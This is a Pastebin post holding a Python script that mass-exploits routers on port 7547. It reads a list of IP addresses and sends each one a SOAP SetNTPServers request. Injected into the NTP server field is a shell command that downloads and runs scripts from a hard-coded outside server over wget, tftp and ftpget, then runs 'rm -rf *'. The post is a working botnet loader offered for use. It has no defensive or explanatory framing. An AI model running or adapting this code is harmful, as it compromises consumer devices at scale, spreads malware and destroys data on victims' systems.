Advertisement
GodAres

[SOAP] - Port 7547

May 30th, 2017
598
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.37 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import threading, sys, time, random, socket, re, os
  4.  
  5. if len(sys.argv) < 2:
  6.         print "Usage: python "+sys.argv[0]+" <list>"
  7.         sys.exit()
  8.  
  9. ips = open(sys.argv[1], "r").readlines()
  10. cmd = """POST /UD/act?1 HTTP/1.1\r\n
  11. Host: 127.0.0.1:7547\r\n
  12. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n
  13. SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\n
  14. Content-Type: text/xml\r\n
  15. Content-Length: length of string after return/newline\r\n
  16. <?xml version="1.0"?>\r\n
  17. <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n
  18.     <SOAP-ENV:Body>\r\n
  19.         <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">\r\n
  20.             <NewNTPServer1>'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.121.98.51/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 87.121.98.51 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 87.121.98.51; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 87.121.98.51 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'</NewNTPServer1>\r\n
  21.             <NewNTPServer2></NewNTPServer2>\r\n
  22.             <NewNTPServer3></NewNTPServer3>\r\n
  23.             <NewNTPServer4></NewNTPServer4>\r\n
  24.             <NewNTPServer5></NewNTPServer5>\r\n
  25.         </u:SetNTPServers>\r\n
  26.     </SOAP-ENV:Body>\r\n
  27. </SOAP-ENV:Envelope>\r\n"""
  28. count = 0
  29. def readUntil(tn, string, timeout=15):
  30.     buf = ''
  31.     start_time = time.time()
  32.     while time.time() - start_time < timeout:
  33.         buf += tn.recv(1024)
  34.         time.sleep(0.01)
  35.         if string in buf: return buf
  36.     raise Exception('TIMEOUT!')
  37.  
  38. class hackify(threading.Thread):
  39.         def __init__ (self, ip):
  40.         threading.Thread.__init__(self)
  41.         self.ip = str(ip).rstrip('\n')
  42.         def run(self):
  43.         try:
  44.             tn = socket.socket()
  45.             tn.settimeout(8)
  46.             tn.connect((self.ip,7547))
  47.         except Exception:
  48.             tn.close()
  49.  
  50.         try:
  51.             mp = ''
  52.             mp += tn.recv(1024)
  53.             if "" in mp:
  54.                 tn.send(cmd + "\n"); print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip); time.sleep(10); tn.close()
  55.         except Exception:
  56.             print "\033[34m[%s] TIMEOUT"%(self.ip)
  57.             tn.close()
  58.  
  59. print "Total IPs: %s\n"%(len(ips))
  60. for ip in ips:
  61.         try:
  62.         count += 1
  63.         t = hackify(ip)
  64.         t.start()
  65.         time.sleep(0.01)
  66.         except:
  67.             pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement